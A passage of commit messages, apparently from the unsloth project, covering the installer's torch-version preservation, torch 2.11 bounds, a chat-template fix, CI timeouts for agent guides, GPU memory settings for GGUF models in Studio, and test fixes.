follows the machine (NVIDIA cu*, AMD rocm/gfx, Intel/CPU, mac) while the
release follows the user. The pin is evaluated AFTER every index and
constraint decision including the Strix reroute, so raised floors
(rocm7.2 / Strix gfx need torch 2.11 for the _grouped_mm fix) correctly
reject an older release and win. UNSLOTH_TORCH_UPGRADE=1 still opts out,
out-of-window releases are never kept, and probe noise never becomes a
pin.

The kept-release install with its range fallback (for indexes that do
not carry the exact release) is factored into
_install_torch_default_index and used by every --default-index torch
path: the default NVIDIA/CPU/mac path and all three ROCm-index
fallbacks, which previously bypassed the fallback. The Radeon-repo
direct-wheel path keeps its curated per-arch wheel set (those wheels are
already exact-pinned per rocm release).

Platform coverage: install.sh serves Linux, WSL (including the WoA
fallback), and macOS for all vendors; native Windows install.ps1 still
caps at <2.11.0 everywhere, so the silent 2.10-to-2.11 move cannot occur
there (2.11 alignment is a separate follow-up).

Verified: 35-check unit suite rewritten to the new spec (any-flavor
keep, floor rejection, noise, window edges, opt-out, wiring including
pin-after-reroute and helper coverage); end-to-end matrix against
sandboxed UNSLOTH_STUDIO_HOME installs on a cu130 host covering PyPI
bare, cu128 drift, cu130 same-flavor, out-of-window 2.3, the upgrade
opt-out, the hidden-GPU cpu leaf, and a fresh-install control.

* install: honor the kept torch release on the Radeon direct-wheel path

The Radeon repo path installs an explicit wheel trio selected by
_pick_radeon_wheel, bypassing --default-index, so the kept-release pin
only took effect when the listing failed and the install fell back to
the ROCm index. On a re-run over an in-window Radeon install the trio
search started at the newest common minor and silently moved the user
forward (2.9 to 2.10 whenever the repo offered both).

The trio search now starts at the kept release's minor when
_PREV_TORCH_PIN is set and the listing still offers a torch wheel for
that minor. Radeon wheels are patch-curated per rocm release, so the
minor is the unit of preservation there; the raised rocm7.2 / Strix
floors still win because the pin is window-checked against the final
constraint before this point, and gaps keep the existing downward
search / ROCm-index fallback.

Verified with a simulated listing carrying both a 2.9 and a 2.10 trio:
no pin selects the 2.10 trio, a kept 2.9 release selects the matched
2.9 / 0.24 / 2.9 trio, and an unavailable minor degrades to the newest
trio. Added a structural wiring check to test_previous_torch_pin.sh
(now 36 checks).

* install: tighten comments in the torch preservation paths

* install: exact kept release on the Radeon path, pin fallback in ROCm repairs

The minor-level clamp on the Radeon direct-wheel path still allowed
patch drift (a kept 2.10.0 could become 2.10.1 when the listing carried
both) and the downward gap search could settle below the kept minor,
both breaking the exact preservation guarantee the other vendor paths
honor. The kept release now gets an exact-first trio attempt before the
newest-trio search: pick the kept patch (else the newest patch of the
kept minor, for listings that pruned the exact patch) together with the
paired torchvision/torchaudio wheels for that minor. Any gap warns and
falls back to the unchanged newest-trio search, mirroring
_install_torch_default_index, so a rerun installs either the kept
release or the same set a fresh install would choose, never something
in between.

The two ROCm torch repair sites (torch overwritten by dependency
resolution, on the migrated and fresh paths) installed TORCH_CONSTRAINT
directly, so a pinned release missing from the generic ROCm index would
abort the rerun instead of falling back. Both now route through
_install_torch_default_index, which passes extra uv args through
(--force-reinstall) and clears the pin once the fallback fires so later
paths stay consistent.

Verified against synthetic listings: both patches listed keeps exactly
2.10.0; a kept minor missing vision/audio warns and yields the newest
complete trio rather than a silent undercut; a pruned patch stays on
the kept minor; no pin keeps the existing newest-trio behavior. Unit
suite now 39 checks, all passing.

* install: never pin nightly/dev/source torch builds on a rerun

A survey of published torch version strings (PyPI bare, +cpu, +cu116
through +cu132, +rocmX.Y and +rocmX.Y.Z, +xpu, nightly .devYYYYMMDD,
source a0+git, rc tags) showed one gap: nightly, dev, rc, and source
builds passed the loose release-shape check, producing a pin such as
torch==2.11.0.dev20250704 that no stable index carries. The range
fallback rescued the install, but it printed "keeping it" and then
burned a doomed resolve first. The base must now be a plain numeric
X.Y[.Z] release, so those builds skip the pin and go straight to the
newest supported release.

Added unit checks for +xpu and three-component +rocm7.2.1 tags (both
already preserved correctly) and for nightly, a0 source, and rc builds
(never pinned). Suite now 44 checks, all passing.

* install: pair kept-release companions, protect the flavor repair, note substitutions

Three fixes from a 12-way review pass over the preservation work:

The kept-release install left torchvision and torchaudio unconstrained
next to the exact torch pin. torchvision exact-pins its torch in wheel
metadata so it always paired correctly, but torchaudio no longer does:
a kept torch 2.9.0 on cu130 resolved torchaudio 2.11.0 (verified with
uv dry-runs). The helper now pairs both companions to the kept minor
(torchvision 0.minor+15, torchaudio 2.minor); if the index lacks the
paired set the existing range fallback fires. Verified resolving
correctly on cu130, cu126, and rocm6.4.

The wrong-flavor repair at the end of the install was the one remaining
default-index torch install outside the helper. It runs under set -e,
so a retained pin absent from the repair index (reachable when the
Radeon direct-wheel path installed the kept release and dependency
resolution later overwrote it) aborted the installer at the last step
instead of falling back. It now routes through the helper with its
reinstall flags passed through.

The Radeon kept-release path installed a same-series build silently
when the listing had pruned the exact patch; it now prints what it is
substituting.

Unit suite extended with wiring checks for all three (46 checks, all
passing).
2026-07-19 07:55:06 -07:00
Andrew Chen
b307823b1d
fix(chat_templates): bind loop_messages when default_system_message is None (#7199)
* fix(chat_templates): bind loop_messages when default_system_message is None

construct_chat_template(default_system_message=None) built a system part that
binds loop_messages only inside the `{% if messages[0]['role'] == 'system' %}`
arm. The `Fix missing loop_messages` step right below then found no
unconditional `{% set loop_messages = messages %}`, concluded loop_messages was
missing, and rewrote `{% for message in loop_messages %}` back to
`{% for message in messages %}` -- undoing the `messages[1:]` skip.

A caller-supplied system message therefore reached the loop and tripped
raise_exception:

    Only user and assistant roles are supported!

Add the `{% else %}` arm so loop_messages is always bound, mirroring the
default_system_message is not None branch minus the default text. That also
stops the rewrite from firing, since the unconditional binding is now present.

Renders before / after, same template, same inputs:

    default_system_message  input        before                       after
    None                    system msg   raise_exception              'Be terse.\n### User: Hi\n'
    None                    no system    '### User: Hi\n'             unchanged
    'You are helpful.'      system msg   'Be terse.\n### User: Hi\n'  unchanged
    'You are helpful.'      no system    'You are helpful.\n...'      unchanged

The rewrite still fires for templates with no {SYSTEM} part, which is what it
was there for -- verified unchanged.

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>

* Scope loop_messages binding to {SYSTEM} templates for PR #7199

The None branch now only adds the else arm when system_part contains
{SYSTEM}, so a static prefix with no {SYSTEM} placeholder keeps raising on a
caller system message instead of silently dropping it. Strengthen the tests:
assert the default does not leak when a caller system message is present, and
add a regression test for the static prefix case.

---------

Co-authored-by: Claude Opus 4.8 <noreply@anthropic.com>
Co-authored-by: danielhanchen <danielhanchen@gmail.com>
2026-07-19 06:33:48 -07:00
Daniel Han
a9be36830e
Installer: allow torch 2.11.x on the CUDA install path (fresh install + studio) (#6959)
* Studio: allow torch 2.11.x on the CUDA install path

The CUDA torch repair path (_ensure_cuda_torch) installs torch/torchvision/
torchaudio from an exclusive --index-url, so _CUDA_TORCH_PKG_SPEC decides
exactly which torch the Studio venv gets. It was capped at torch<2.11.0, so on
a cu128/cu130 host the venv resolved torch 2.10.x even though the CUDA indexes
now publish torch 2.11.0. That left the Studio venv a torch minor behind the
torch 2.11.0 Docker base image, so the CUDA dedup step would relink base libs
under a mismatched torch.

Raise the upper bound to <2.12.0 (torchvision <0.27.0, torchaudio <2.12.0) so
the CUDA install path lands on torch 2.11.x, matching the rocm7.2 spec and the
base image. The torchao selector already maps torch 2.11 -> torchao 0.17.0, and
_ensure_flash_attn degrades gracefully when no prebuilt wheel matches (Blackwell
skips it outright; non-Blackwell prints a warning and continues), so no other
pin needs to move.

Add test_cuda_torch_spec.py to lock the bound (torch 2.11.x in, 2.12.x out) and
assert the CUDA and rocm7.2 upper bounds stay in lockstep.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* test: use zip(strict=True) so a spec length mismatch fails loudly

* install.sh: widen the CUDA torch ceiling to <2.12.0 so a fresh install matches the base

Raising _CUDA_TORCH_PKG_SPEC alone was not enough: that spec only feeds
_ensure_cuda_torch(), the ROCm-poisoning repair path that early-returns on a
normal NVIDIA host. A fresh CUDA install (including the studio Docker build,
which runs `bash install.sh --local`) takes its torch from install.sh's
TORCH_CONSTRAINT, which was still capped at torch>=2.4,<2.11.0, so cu12x/cu13x
resolved torch 2.10.x and the venv landed a minor behind the torch 2.11.0 base
image.

Extend the existing `case "$TORCH_INDEX_URL"` block (which already relaxes
rocm7.2) with a `*/cu[0-9]*` branch that widens the ceiling to <2.12.0, keeping
the >=2.4 floor so an older CUDA index (e.g. cu118) that tops out below 2.11
still resolves. The CPU wheel and older ROCm tags stay on <2.11.0 (the glob
does not match /cpu). torchvision/torchaudio are bare on this install line and
resolve their compatible companions via wheel metadata, matching the rocm7.2
pattern.

Add behavioral tests (Python + shell) exercising the case block: cu118/124/126/
128/130 widen to <2.12.0, rocm7.2 stays 2.11.x, and /cpu plus older ROCm keep
the default <2.11.0.

* install.sh: key the CUDA torch widening off the index leaf, not the full URL

The `*/cu[0-9]*` glob matched a `cu<digit>` segment anywhere in TORCH_INDEX_URL,
so a custom UNSLOTH_PYTORCH_MIRROR whose base path contains e.g. cu128 but whose
final leaf is cpu or an older ROCm tag would still widen TORCH_CONSTRAINT to
<2.12.0, contradicting the block's own comment and letting a CPU / older-ROCm
mirror resolve torch 2.11.x. Match on _torch_index_leaf (the final path segment
the backend classification just above already computes) so only a real cu*/
rocm7.2 leaf is affected; cpu and older ROCm keep the default <2.11.0. Update
the Python + shell tests to mirror the leaf-anchored case and add regression
cases for a mirror base that contains cu128 but resolves to a cpu / rocm7.1 leaf.

* install: freeze the torch trio during the with-deps unsloth installs

Released unsloth wheels can pin an older torch than Step 1 installed
(unsloth 2026.7.2 declares torch<2.11.0), so the with-deps resolve from
PyPI silently downgrades the pinned +cuXXX torch trio to PyPI's default
wheel. The flavor guard cannot catch every such swap: PyPI's torch 2.10
default is itself cu128-flavored, so the cuXXX tag comparison still
matches while the version silently drops. Freeze the just-installed trio
with uv --overrides (overrides replace dependency requirements during
resolution), keeping torch 2.11.0+cuXXX in place while unsloth's other
dependencies resolve normally. Verified on the cu128 path: without the
override torch drops 2.11.0+cu128 -> 2.10.0; with it the trio survives
and unsloth 2026.7.2 + unsloth-zoo install cleanly.

* install: fold UV_OVERRIDE env files into the torch-trio overrides file

The CLI --overrides flag is the command-line form of UV_OVERRIDE, so
passing it replaced any overrides file already exported for the process;
macOS arm64 exports UV_OVERRIDE=overrides-darwin-arm64.txt for the same
generic install path and would have lost those pins. Concatenate any
UV_OVERRIDE files into the temp trio file so both keep applying.

* install: extend the torch-trio overrides guard to migrated installs

Four follow-ups to the Step-2 --overrides guard, all empirically verified:

1. The migrated-environment with-deps unsloth install resolved
   unsloth>=2026.7.2 (which pins torch<2.11.0) without the overrides file,
   so a migrated CUDA venv on torch 2.11 was silently downgraded -- the
   exact bug this branch fixes on the fresh path. The overrides build is
   now a function (_build_unsloth_torch_overrides, reading the trio
   installed at call time) invoked by both with-deps paths; the migrated
   no-torch path installs --no-deps and stays unguarded.

2. The overrides temp file is now cleaned by the EXIT trap (same pattern
   as _UV_OVERRIDE_TMPDIR, pre-initialized empty so an inherited value can
   never reach the trap's rm); previously any Step-2 failure leaked it.

3. Folding UV_OVERRIDE files used cat, which joins the last requirement of
   a file lacking a trailing newline onto the next file's first requirement
   (reproduced: idna==3.10certifi==2025.1.31 makes uv fail parsing).

4. Inherited torch/torchvision/torchaudio override lines are now filtered
   out when folding: uv intersects duplicate overrides rather than
   last-wins (verified on uv 0.10.12: direct conflict is unsatisfiable,
   transitive conflict silently backtracks), so a conflicting inherited
   trio pin would break the resolve the generated exact pins protect.
   Both 3 and 4 are handled by a single newline-terminating awk filter
   that preserves non-trio overrides (torchmetrics, torchao, ...).

test_unsloth_torch_override.sh extended: migrated-path coverage, trap
assertion, and a functional fold test (14 checks).

* installer: tighten comments

* install: keep the existing torch release when re-running the installer

Re-running `curl -fsSL https://unsloth.ai/install.sh | sh` over an existing
install rebuilds the venv for clean state, which silently moved users to the
newest torch in range (2.10 -> 2.11 once the constraint widened). A torch the
user already validated must survive an unsloth update.

Before the old venv is moved aside for rollback, its torch version is probed
(last stdout line only, so sitecustomize noise cannot corrupt it). After the
index leaf is chosen, _previous_torch_pin turns that version into a
torch==X.Y.Z pin, but only when it cannot do harm:

- cu*/cpu leaves only; rocm leaves keep their floors (rocm7.2 must land 2.11
  for the Strix _grouped_mm fix) and the Radeon wheel-matching path is
  untouched.
- The wheel's flavor tag must match the freshly chosen leaf, so a flavor
  change (cpu -> cuda, cu126 -> cu130) still installs the correct new build.
- The base must look like a release, so probe noise never becomes a pin.
- UNSLOTH_TORCH_UPGRADE=1 opts out and restores the old always-newest
  behavior; the substep line advertises it.

The supported range is kept in _PREV_FALLBACK_CONSTRAINT: if the exact
release is not resolvable from the chosen index (custom mirrors prune old
wheels), the install warns and falls back to the newest supported release
instead of failing the whole run. The later flavor-mismatch repair reuses
TORCH_CONSTRAINT, so a mid-install clobber is repaired back to the kept
release rather than the newest one.

Verified end to end: a venv seeded with torch 2.10.0+cu130 re-run through the
full installer finishes with torch 2.10.0+cu130 (previously 2.11.0+cu130).

Tests: tests/sh/test_previous_torch_pin.sh covers keep/flavor-change/rocm/
noise/opt-out plus wiring (probe ordering before venv replacement, fallback
present, SKIP_TORCH gate).

* install: constrain kept torch pins to the supported window

Review caught that _previous_torch_pin pinned the previous venv's torch on
flavor match alone, so a release outside the installer's active range (a
2.3.x manual install below the >=2.4 floor, or a 2.12.x manual upgrade above
the ceiling) replaced the bounds computed just above it and a rerun kept a
torch the installer otherwise deliberately excludes.

New _torch_release_in_window checks the probed base against the active
TORCH_CONSTRAINT ("torch>=A.B[,<C.D.F]") at major.minor granularity, which
is exact for the windows this script uses (ceilings are always X.Y.0; a
non-.0 ceiling would only make it conservative). Anything unparseable
answers no, so probe noise or a malformed window fails toward the supported
range instead of becoming a pin. _previous_torch_pin takes the active
constraint as a third argument and refuses out-of-window releases; the
in-window keep behavior is unchanged.

Tests: out-of-window rows (2.3.x floor, 2.12.x ceiling, boundary keeps, cpu
and macOS windows, malformed/empty windows) plus direct
_torch_release_in_window coverage.

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
2026-07-19 06:19:29 -07:00
Daniel Han
03590f696e
Give opencode real timeout headroom in Local Agent Guides CI (#7235)
* Raise the opencode invoke timeout in Local Agent Guides CI

The connection (opencode) cell flakes with a 600s timeout reported as guide drift, but it is not a hang: in a passing run the same opencode run finishes in ~482s (08:12:31 to 08:20:33), right against the shared AGENT_INVOKE_TIMEOUT of 600s, so about one run in six drifts past the cap.

opencode is the slow outlier. The print-mode agents (claude -p, codex exec) run one turn against a minimal injected system prompt, while opencode run runs its own full turn with opencode's large system prompt plus a separate small_model call to name the session (start.py pins small_model to the same 4B the server hosts). On a CPU-served gemma-4-E4B that is about 8 minutes, leaving no margin under 600s.

Double opencode's per-invoke timeout in agent-guides-drive.sh and keep the tight 600s cap for the fast agents, so a genuine headless-TTY hang still fails quickly. 1200s stays well under the 40-minute job budget.

* Normalize the agent invoke timeout before doubling it for opencode

Strip an optional trailing 's' from AGENT_INVOKE_TIMEOUT so the opencode
arithmetic, and the "${TIMEOUT}s" timeout message, stay valid if a
timeout(1)-style suffix is ever configured.

* Only double the opencode timeout for a bare-integer seconds value

Guard the arithmetic so a GNU timeout(1) duration suffix (s/m/h/d, including
floats like 0.5s) is passed through unchanged instead of breaking the
expansion; timeout(1) parses those directly. Bare seconds still double.

---------

Co-authored-by: danielhanchen <unslothai@gmail.com>
2026-07-19 06:08:54 -07:00
oobabooga
5f1f30ec82
Studio: GPU memory configuration for GGUF models (#6414)
* Studio: GPU memory dropdown — llama.cpp --fit on and manual gpu-layers/cpu-moe

* Studio: simplify GPU memory changes (reuse ParamSlider, GPU_LAYERS_ALL, loadedGpuMemoryFields helper)

* Studio: GPU picker — choose which GPUs a GGUF model loads on (gpu_ids)

* Studio: simplify GPU picker (share /api/system fetch, validate gpu_ids)

* Studio: GPU picker review fixes (gate relative indices, no cross-model leak, validate, types)

* Studio: group GPU controls under a collapsible GPU section

* Studio: GPU feature review fixes (fix fit-ctx test, behavior-test the floor, comment accuracy)

* Studio: make GPU a top-level settings section (not nested under Model)

* Studio: flatten GPU controls into the Model section, group by GPU/context/generation

* Studio: move GPU Memory to the bottom of Model with its dependent controls beneath it

* Studio: move GPU Memory below Tensor Parallelism and GPUs below GPU Memory

* Studio: tighten GPU Memory and GPU Layers tooltip copy

* Studio: fix fit-mode context slider track-click, restore GPU Memory tooltip, shorten fit dropdown label

* Studio: GPU Memory tooltip one mode per line, briefer

* Studio: note HIP_VISIBLE_DEVICES (ROCm) in the GPUs picker tooltip

* Studio: narrow the GPU Memory dropdown to fit the shortened label

* Studio: use 'llama.cpp --fit' in the GPU Memory tooltip for consistency

* Studio: allow Tensor Parallelism in Manual GPU mode

* Studio: graduated MoE-on-CPU offload (--n-cpu-moe) replacing the all-or-nothing toggle

* Studio: size the MoE-offload slider for staged (deferred-load) models

* Studio: share one GGUF header walk for the context-length and MoE-count readers

* Studio: size the GPU Layers slider for staged models (one staged-header read)

* Studio: move Tensor Parallelism below the GPUs picker

* Studio: GPU split (--tensor-split) per-GPU model share in Manual mode

* Studio: tolerate whitespace in GPU split input, move it below GPU Layers

* Studio: rename the GPU split control to "Split ratio"

* Studio: Split ratio sends explicit even input; fix blank=free-VRAM (not even) copy

* Studio: tighten llama.cpp --fit VRAM margin with --fit-target 512

* Studio: GPU memory review fixes (rollback re-baseline, single-GPU TP gate, accurate copy)

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: move Split ratio below MoE Layers on CPU

* Studio: address PR review (fix GPU-info hydration race, share fit context-length across load paths)

* Studio: address codex review (manual single-GPU TP guard, GPU-aware spec defaults in fit/manual, GGUF-only context/preference)

* Studio: address codex review round 2 (gpu_present seed, single-GPU tensor-split guard, staged manual-knob reset, strip inherited offload flags)

* Studio: address codex review round 3 (strip inherited --n-cpu-moe, CPU-fallback warning in Manual mode)

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: address codex review round 4 (preserve pinned fit context across a later Apply)

* Studio: address codex review round 5 (honor GPU picker for diffusion GGUFs, clear fit pin on cross-model switch)

* Studio: preserve the pending GPU Memory mode when staging a model

* Studio: pin diffusion GPU device order and reset GPU-memory state for diffusion loads

* Studio: address codex review round 6 (fit-Auto rollback context, preserve manual non-tensor split modes, persist GPU mode on load not select)

* Studio: persist the applied GPU Memory mode, not the requested one (skip diffusion loads)

* Studio: replace Manual-mode split-ratio field with per-GPU layer sliders

* Studio: clarify per-GPU layer split hint for tensor-parallel mode

* Studio: address codex review round 7 (allow GGUF gpu_ids past the legacy guard, replay GPU-memory fields on respawn)

* Studio: address codex review round 8 (size the validate preflight like the load in fit mode, across both load paths)

* Studio: skip the training-OOM guard for llama.cpp --fit GGUF loads (they spill to RAM)

* Studio: drop the now-redundant compare-path validate sizing (the --fit guard skip makes it moot)

* Studio: address codex review round 9 (keep the training guard for fit loads, forward gpu_ids to validate, strip inherited manual tensor-split)

* Studio: address codex review round 10 (gate GPU-memory adoption on is_gguf, record manual knobs only in Manual mode)

* Studio: handle diffusion GGUFs symmetrically in the GPU Memory controls (preserve the standing mode preference, hide the inapplicable mode/TP controls)

* Studio: remember the GPU Memory settings per model

* Studio: consolidate --fit mode and Manual mode into a single Manual mode

* Studio: preserve the per-GPU layer split across GPU Layers changes

* Studio: trim overly long GPU Memory comments

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* address GPU memory config review comments

* trim redundant GPU memory tests

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Reconcile manual-mode TP drops with the #6659 drop-site invariants

* Preserve quantized KV in manual --fit, charge GGUF companions in full, reconcile GPU pick on load

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Clear stale GPU baseline on non-GGUF loads so it can't read as dirty

* Fix no-context-shift test for the conditional -c flag

* Credit manual GPU-layer offload for cached HF GGUFs

* Reset per-model load knobs on GGUF quant switch

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Strip inherited tensor-split when manual ratio is cleared

* Match auto-load validation to safetensors placement

* Reset editable manual knobs after Auto GGUF loads

* Record a single device for diffusion GPU picks

* Reset per-model GPU knobs before applying saved settings

* Address review comments

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Guard manual tensor splits and keep remembered context on auto-load

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Snapshot compare knobs, seed splits from free VRAM, flag zero-offload loads

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Exempt CPU-only loads from the guard floor and harden compare and reseed paths

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Reach full offload from the layers slider and charge extras drafters in the guard

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Warm the GPU device cache before pick reconciles and disable staged GPU controls

* Align the training guard with inherited extras, spec mode, and compare targets

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Hide GPUs from companion-less zero-offload loads

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Size diffusion picks per device, own manual offload flags, reject XPU picks

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Drop tensor flags at zero layers and exempt CPU-pinned drafters

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Allowlist the zero-layer tensor parallel drop site

* Keep validate and load guards on the same extras and refresh stale baselines

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Drop mismatched manual tensor splits before launch

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Gate XPU picks on the real backend field and harden split and hydration paths

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Weight full GPUs as zero, clamp split shares, and refine the zero-layer mask gate

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Carry fit context across mode changes and align drafter and picker gates

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Catch variant switches, uncached diffusion repos, and text-only mmproj skips

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Check companions on the first device and size native and remote zero-layer loads

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Replace the training guard's precise VRAM modeling with a conservative bound

* Baseline context pins on non-GGUF hydration and reprobe list-seeded staged GGUFs

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Size manual splits by their largest share and preserve resolved context from Default

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Default-deny unsized required companions and price KV at the effective cache dtype

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Reserve MTP draft KV and MLA target-copy in the training guard

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Size tensor-parallel loads per device and show GPU controls for native GGUFs

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Reserve MTP overhead for uncached remote GGUFs and the mmproj runtime factor

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Drop the training-coexistence VRAM estimation this PR added

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Gate remembered load settings to GGUF picks

* Lock the remaining load-time controls during a staged load

* Clear the stale native-path token on compare loads

* Drop a stale guard reference from the zero-offload masking comment

* Seed GPU baselines from the rollback response and drop never-emitted offload flags

* Match validate's training guard to load and keep the native reload token

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Trim verbose GPU-memory comments

* Thread the variants header walk off the event loop, honor device pins on zero-offload, and hold staged GPU edits

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Honor manual placement and classify pinned zero-offload loads

* Close diffusion admission and status hydration gaps

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Check the actual diffusion GPU during training

* Align staged baselines and manual reload dedupe

* Fix GGUF placement and rollback state

* Harden manual GGUF placement boundaries

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Remove unused resolve_tensor_parallel import in llama_cpp.py

The name is used only in llama_server_args.py, routes/inference.py, and tests,
not in llama_cpp.py; the unused hoisted import trips the import-hoist verifier
in the source-lint CI job.

* Fix diffusion GPU dedup and training guard for non-numeric device tokens

The diffusion runner drives only its single lowest device and the backend
records that one device (self._gpu_ids = [sorted(gpu_ids)[0]]), but the reload
dedupe compared it against the full requested list, so a multi-GPU pick that
resolves to the same device forced a needless reload. Normalize the request the
same way for a loaded diffusion model in both _already_in_target_state and the
route _request_matches_loaded_settings.

The chat-during-training coexistence guard called int() on the single-device
token and hard-rejected when it could not parse. A non-numeric token (a CUDA
UUID / MIG handle) now sizes against the whole visible pool like the GGUF guard
instead of falsely blocking the load, and an empty token (a CPU-only runner such
as a CPU diffusion GGUF) is allowed outright since it uses no GPU VRAM.

* Tighten comments added by the GPU memory config changes

* Harden GGUF placement from independent review: VRAM sizing, diffusion TP reset, tensor_split validation

- Training coexistence guard: a single-device runner pinned through an
  unresolvable UUID/MIG token was sized against the aggregate visible-VRAM pool,
  so a load could pass on capacity it cannot use and then OOM active training.
  Size against the worst-case visible device (min free) instead, keeping the
  guard's documented default-deny contract. The empty-token (CPU-only runner)
  allow path is unchanged.
- Diffusion startup: _start_diffusion_server now resets self._tensor_parallel to
  False alongside the other placement resets. A prior tensor-parallel chat load
  (process killed but not fully unload-reset) otherwise left /status misreporting
  tensor parallelism and made an identical diffusion re-Apply reload against the
  stale state.
- tensor_split: reject negative / non-finite / all-zero splits up front. They
  were dropped at launch but still compared raw in the reload dedupe, so an
  identical Apply reloaded indefinitely.
- Tests: the shared httpx stub was incomplete and, installed via setdefault
  before real httpx loaded, broke a combined pytest run (collection errors on
  httpx.Response). Import the real installed httpx instead.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: danielhanchen <unslothshared@gmail.com>
Co-authored-by: danielhanchen <danielhanchen@gmail.com>
2026-07-19 05:46:22 -07:00
Daniel Han
ecd97a935a
test(version-compat): keep GRPO fake-run logits finite on CPU (#7247)
* test(version-compat): keep GRPO fake-run logits finite on CPU

The GRPO fake-run test samples completions from a tiny untrained model on
CPU. Such a model can emit non-finite logits, so torch.multinomial inside
generate() intermittently raises "probability tensor contains either inf,
nan or element < 0" -- a nondeterministic sampling failure, not a regression
(the Trainer already fixes the seed, but CPU reduction order is not
bit-reproducible). Add a forward hook that sanitizes the LM head logits to a
finite bounded range before sampling, so the fake run reliably exercises the
whole train loop; the test checks the loop runs, not the numerics.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* test(version-compat): drop redundant nan_to_num bounds (clamp handles them)

* test(version-compat): scope GRPO finite-logits guard to the GRPO test

Only test_grpo_trains_on_cpu autoregressively samples completions, so it is
the only canary that can hit the non-finite-logits torch.multinomial crash.
Move the _guard_finite_logits hook out of the shared _load_plain() and into
test_grpo_trains_on_cpu so the SFT and DPO canaries keep asserting against the
model's true, unclamped logits.

---------

Co-authored-by: Daniel Han <unslothai@gmail.com>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
2026-07-19 04:54:17 -07:00
Hakan Baysal
e8db1cecff
studio: show the active run's saved config in the Training Progress popover (#7217)
* studio: show the active run's saved config in the Training Progress popover

The Training Config popover on the live Training Progress page read the
editable form store (useTrainingConfigStore), so it showed stale/static values
whenever the form changed after the run started; only the History view read the
run's saved config snapshot, which is why re-opening the same run from Recents
showed the correct values (#6853).

Wire the live view to the same authoritative source History already uses:

- Extract History's field mapping into sections/run-config-override.ts
  (mapRunConfigToOverride) so both views share one mapper over
  GET /api/train/runs/{id} config.
- LiveTrainingView fetches the run record as soon as the job id is known and
  passes the mapped override to ProgressSection; the fetched config is keyed
  by job id, and until it loads (or if the fetch fails) the form store remains
  the fallback. The run record is created at job start, so it is available
  while the run is live.
- ProgressSection prefers configOverride whenever one is present instead of
  only when isHistorical, so the live override takes effect.

Adds a source-level regression test pinning the wiring and the mapper's
backend config keys.

Fixes #6853

* studio: retry the run-config fetch after the first step, carry the saved method

Two review fixes on the live Training Config popover source:

1. The backend creates the run row only on the first progress event, so the
   fetch issued as soon as the job id appeared commonly 404'd during
   model/dataset preparation and never retried -- leaving the popover on the
   form store for the whole run. The effect is now also keyed on
   firstStepReceived (and skips once resolved for the job), so it re-fetches
   exactly when the row is guaranteed to exist.

2. The popover's method label and LoRA-row visibility came from
   viewData.trainingMethod, still read from the editable form store; changing
   the form (e.g. LoRA -> Full) after starting a run relabeled it and hid its
   saved LoRA rows. The run-config mapper now derives trainingMethod from the
   snapshot's training_type/load_in_4bit (via parseBackendTrainingMethod, now
   exported from the feature index) and the live view prefers it.

* studio: fetch the run config on a terminal phase too, not just the first step

The live config-popover fetch was keyed on firstStepReceived, which the runtime
store sets only when step > 0. A run that fails or completes during preparation
(before step 1) creates and finalizes its row from the terminal error/complete
event, but neither the job id nor firstStepReceived changed, so the fetch never
